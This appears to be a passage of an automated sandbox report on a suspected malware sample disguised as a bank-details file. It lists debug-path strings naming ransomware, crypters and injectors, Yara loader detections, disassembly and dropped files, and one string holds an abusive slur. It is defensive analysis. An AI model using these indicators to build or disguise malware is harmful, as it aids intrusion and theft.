        Source: Binary string: rStub\LimitlessLoggerStub\obj\x86\Debug\LLS.pdb source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp
        Source: Binary string: RamMap.pdb source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmp
        Source: Binary string: C:\src\similar\clients\our\new_bundler\nsis_plugins\plugins\safed.pdbxm source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmp
        Source: Binary string: c:\\Injekt - Builds\\.*\\SpeedBrowserP\\Source\\shortcut\\Encoder\\obj\\Release\\shortcut.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: 8rise\Window\position\Character\opposite\Miss\lawCome.pdb source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: aeroadmin.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: rpcss.pdb source: MpSigStub.exe, 00000023.00000003.18320569449.0000015B1B556000.00000004.00000001.sdmp
        Source: Binary string: \starter.pdb source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmp
        Source: Binary string: \Release\UpdaterService.pdb source: MpSigStub.exe, 00000023.00000003.18311262453.0000015B1BE1B000.00000004.00000001.sdmp
        Source: Binary string: \Rasomware2.0.pdb source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: You\Above\Particular\Exception.pdb source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: \down\Wing\Would.pdb source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp
        Source: Binary string: mafia2injector\Release\MafiaInjector.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: \\aes_mfc\\Release\\aes_mfc.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: m3KHLMcF.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: sdmf|er.pdb source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp
        Source: Binary string: \Release\TKCodeDDoS.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: Release\haozip.chs\bin\Win32\release\pdb\HaoZip7zSetup.pdb source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp
        Source: Binary string: CrossLoopService.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: F:\Projects\WebInject\bin\x86\Release_logged\payload32.pdb source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp
        Source: Binary string: \Release\winsrcsrv.pdb source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp
        Source: Binary string: hcd:\\MODULOS\\PROJETO BATMAN\\Loaders\\Loader C# Crypter .* LINK .*\\obj\\x86\\Debug\\golfzinho.pdb source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: ir41_qcx.pdb source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmp
        Source: Binary string: G\SharedSerialization\obj\Release\netstandard2.0\SharedSerialization.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: dbmsrpcn.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: Deamon-dll.*\\Release\\Deamon-dll\.pdb source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp
        Source: Binary string: mciole32.pdb source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmp
        Source: Binary string: termsrv.pdbaA source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: msimg32.pdb] source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: Pb730.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: mqutil.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: \Release\NvBackend.pdbx source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmp
        Source: Binary string: ReleaseDebug\TvServer.pdb source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmp
        Source: Binary string: borlo 1.9.7 src\WindowsApplication1\obj\Debug\Winlogon.pdb source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp
        Source: Binary string: 0rStub\LimitlessLoggerStub\obj\x86\Debug\LLS.pdb source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp
        Source: Binary string: usp10.pdbj source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: mstscax.pdb source: MpSigStub.exe, 00000023.00000003.18300879046.0000015B1A6C2000.00000004.00000001.sdmp
        Source: Binary string: \output\MinSizeRel\updrem.pdb source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: +kill\yourself\@YongruiTan\chinese\idiot.pdb source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp
        Source: Binary string: \Disable_Windowsupdate.pdbaG source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: \SupNewTab\bin\SupTab.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: "SimCorp.XMGRs.Testing.ApiTests.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: tixati.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: uigjhghio.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \i386\iSafeNetFilter.pdb source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmp
        Source: Binary string: schtasks.pdbd*Microsoft Corporation source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp
        Source: Binary string: \P2P\Client\Debug\Client.pdb source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp
        Source: Binary string: c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\winver\objfre\i386\winver.pdb source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: PicoTorrent.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: hide_evr2.pdb source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmp
        Source: Binary string: SKRFM.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: I \\aes_mfc\\Release\\aes_mfc.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: appmgmts.pdb source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp
        Source: Binary string: \src\out\Release\cleaner.pdb source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: arc\Release\arc.pdb source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp
        Source: Binary string: \chrome-toolbox\trunk\src\plugin\apihook.pdb source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp
        Source: Binary string: DownExecute.pdb source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: \GG-Ransomware-master\GG ransomware\GG ransomware\obj\Debug\Ransom.pdb source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp
        Source: Binary string: \defeat\rtl49.pdb source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp
        Source: Binary string: F:\Projects\MiniSword\MakeSword\MakeSword\obj\Debug\MakeSword.pdb source: MpSigStub.exe, 00000023.00000003.18336377296.0000015B1BE9E000.00000004.00000001.sdmp
        Source: Binary string: \i386\Driver.pdb source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp
        Source: Binary string: \CoronaVirus Status.pdb source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp
        Source: Binary string: \svr_d\server_lyl\WinSAP\winSAP_2\Release\winSAP_2.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: \Minoral.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: I \\Projects\\dll.\\.+\\dll.\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: 'c:\Top\Train\job\Wall\Did\Spendkept.pdb] source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: d:\pavbld\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\Windows\Windows.pdb source: MpSigStub.exe, 00000023.00000003.18338076360.0000015B1B388000.00000004.00000001.sdmp
        Source: Binary string: 2 Ransom:MSIL/Cryptolocker.PDB!MTB source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp
        Source: Binary string: GC:\Users\wizzlabs\source\repos\SaveJuin\Nuigi\obj\Release\Baddelima.pdb source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp
        Source: Binary string: msiexec.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: wpnpinst.pdb source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmp
        Source: Binary string: adptif.pdb source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp
        Source: Binary string: upE:\\WORK\\WORK_PECEPB\\Work_2012 Private\\.*\\Silence_lock_bot\\Silence_lock_bot\\Release\\Silence_lock_bot.pdb source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmp
        Source: Binary string: 0Z:\NewProjects\hotsend\Release-Win32\hotsend.pdb source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp
        Source: Binary string: D:\\MyCode\\riot.?\\encryptor.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: \x64\Release\SFKEX64.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: <tmp\x86-Public-Game\LoL\RiotLoL_Client\League of Legends.pdba source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: @g-e3e_2qalAN+/PaKV/J.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: .+:.*\\obfuscator\\SkypeBot.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: D:\DevPatch\_FINAL\Bin\MapleStory.pdb source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: \x86\Release\swhost.pdb source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp
        Source: Binary string: SuzanDLL\Release\suzanw.pdb source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmp
        Source: Binary string: 0\wrapper3.pdb source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp
        Source: Binary string: !kpdfcore\obj\Release\kpdfcore.pdb source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp
        Source: Binary string: T:\TFS-TradeProject\PDB\Release\TT-Miner.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \ggg\build\Release_32\libglib-2.0-0.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: cmd.pdb source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp
        Source: Binary string: d+D:\tortoiseSVN\nsc5\bin\Release\nssock2.pdbd source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp
        Source: Binary string: er.pdb source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp
        Source: Binary string: x:\Dev_CPP\Work\VS_KnzStr_Adware\Release\VS_Work1.pdb source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmp
        Source: Binary string: Sniffer\Release\Sniffer.pdbxS source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmp
        Source: Binary string: diskpart.pdb source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: F:\Projects\WebInject\bin\x64\Release_logged\webinject64.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: "E:\DLMon5\drv\obj\i386\RioDrvs.pdba source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp
        Source: Binary string: wship6.pdb3 source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: 9desktop_apps_ng\workspace\build\loader\Release\loader.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\logoff\objfre\i386\logoff.pdb source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp
        Source: Binary string: module_ls.pdb source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp
        Source: Binary string: \\Projects\\dll.\\.+\\dll.\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: 8rise\Window\position\Character\opposite\Miss\lawCome.pdb~ source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: Seed\trunk\output\bin\ntsvc.pdbxO source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmp
        Source: Binary string: 2branches\xiaoyuTrunk\bin\Release\Win32\Upgrade.pdb source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-security-base-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp
        Source: Binary string: \\Project's\\xCrypt3r\\stub_crypter\\Release\\stub.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: X:\\DEgELgPMENT\\VC\+\+\\CrgptorgEvolugionggld\\relgase\\m.pdb source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp
        Source: Binary string: 9C:\Users\Seman\source\repos\Triforce\Release\Triforce.pdb source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: FDM3\bin\Release\FdmBrowserHelper.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: wmidx.pdbj source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmp
        Source: Binary string: ramaint.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: mstext40.pdb3 source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp
        Source: Binary string: \Release\initialexe\torch.exe.pdbxE source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: d:\Projects\AKL\kh\Release\kh.pdb source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp

        Data Obfuscation:

        barindex
        Yara detected GuLoaderShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Source: Yara matchFile source: 00000001.00000002.17634386230.0000000002220000.00000040.00000001.sdmp, type: MEMORY
        Yara detected Costura Assembly LoaderShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c4ed472.82.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18332888598.0000015B1C174000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18351572125.0000015B1C174000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18282718286.0000015B1C174000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18294299849.0000015B1C174000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected AllatoriJARObfuscatorShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c67ca.70.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c7264.164.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c22da.163.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c7264.72.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c6d17.165.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c67ca.70.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c67ca.166.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c6d17.71.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c6d17.71.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c7264.72.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c22da.69.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c67ca.166.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c7264.164.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c6d17.165.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18300906087.0000015B1A6C6000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected MSILLoadEncryptedAssemblyShow sources
        Source: Yara matchFile source: 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Binary or sample is protected by dotNetProtectorShow sources
        Source: MpSigStub.exe, 00000023.00000003.18311262453.0000015B1BE1B000.00000004.00000001.sdmpString found in binary or memory: :#Lowfi:HSTR:MSIL/PvLogiciels.dotNetProtector.A
        Source: MpSigStub.exe, 00000023.00000003.18311262453.0000015B1BE1B000.00000004.00000001.sdmpString found in binary or memory: :#Lowfi:HSTR:MSIL/PvLogiciels.dotNetProtector.AU5n
        Source: MpSigStub.exe, 00000023.00000003.18311262453.0000015B1BE1B000.00000004.00000001.sdmpString found in binary or memory: Y#PERSIST:HSTR:MSIL/PvLogiciels.dotNetProtector.A
        Source: MpSigStub.exe, 00000023.00000003.18311262453.0000015B1BE1B000.00000004.00000001.sdmpString found in binary or memory: Y#PERSIST:HSTR:MSIL/PvLogiciels.dotNetProtector.AU6
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: HSTR:MSIL/PvLogiciels.dotNetProtector.A
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: !#HSTR:MSIL/PvLogiciels.dotNetProtector.A
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: PvLogiciels.dotNetProtector.Runtime
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: <dotNetProtector>
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: <dotNetProtector>x
        Yara detected VB6 Downloader GenericShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Source: mpasbase.vdm.35.drStatic PE information: real checksum: 0x329e303 should be:
        Source: mpavbase.vdm.35.drStatic PE information: real checksum: 0x354a210 should be:
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00414356 push eax; ret
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00404A4A push edx; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00404252 push eax; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00404A5E push edx; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00402E00 push edx; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_0040562D push edi; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004052C1 pushfd ; retf
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004048C4 push edi; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004040D2 push es; ret
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004040DE push es; ret
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004076EF pushfd ; retf
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004068F0 push eax; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004058F6 push edx; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004082F9 push eax; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00406E91 push ecx; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00408298 push ebx; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00406C9E push eax; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00406EBF push eax; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00403948 push ecx; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_0040416E push es; ret
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00404112 push es; ret
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00405F20 push esi; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004061CE push esi; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004055CF push edi; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004059E4 push edi; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_0040638D push 569795EEh; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00402F9E push esi; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004059A0 push eax; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004041BB push eax; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004043BB push edx; iretd
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_02222001 push es; iretd
        Source: ConfigSecurityPolicy.exe.41.drStatic PE information: 0x6D96FD94 [Thu Apr 6 05:31:00 2028 UTC]
        Source: MpCmdRun.exe.41.drStatic PE information: section name: .didat
        Source: NisSrv.exe.41.drStatic PE information: section name: .didat
        Source: MpCmdRun.exe0.41.drStatic PE information: section name: .didat
        Source: MpClient.dll.41.drStatic PE information: section name: .didat
        Source: MpCommu.dll.41.drStatic PE information: section name: .didat
        Source: MpRtp.dll.41.drStatic PE information: section name: .didat
        Source: MpSvc.dll.41.drStatic PE information: section name: .didat
        Source: ProtectionManagement.dll.41.drStatic PE information: section name: .didat
        Source: MpClient.dll0.41.drStatic PE information: section name: .didat

        Persistence and Installation Behavior:

        barindex
        Sample is not signed and drops a device driverShow sources
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdBoot.sys
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdDevFlt.sys
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdFilter.sys
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdNisDrv.sys
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasdlta.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavdlta.vdmJump to dropped file
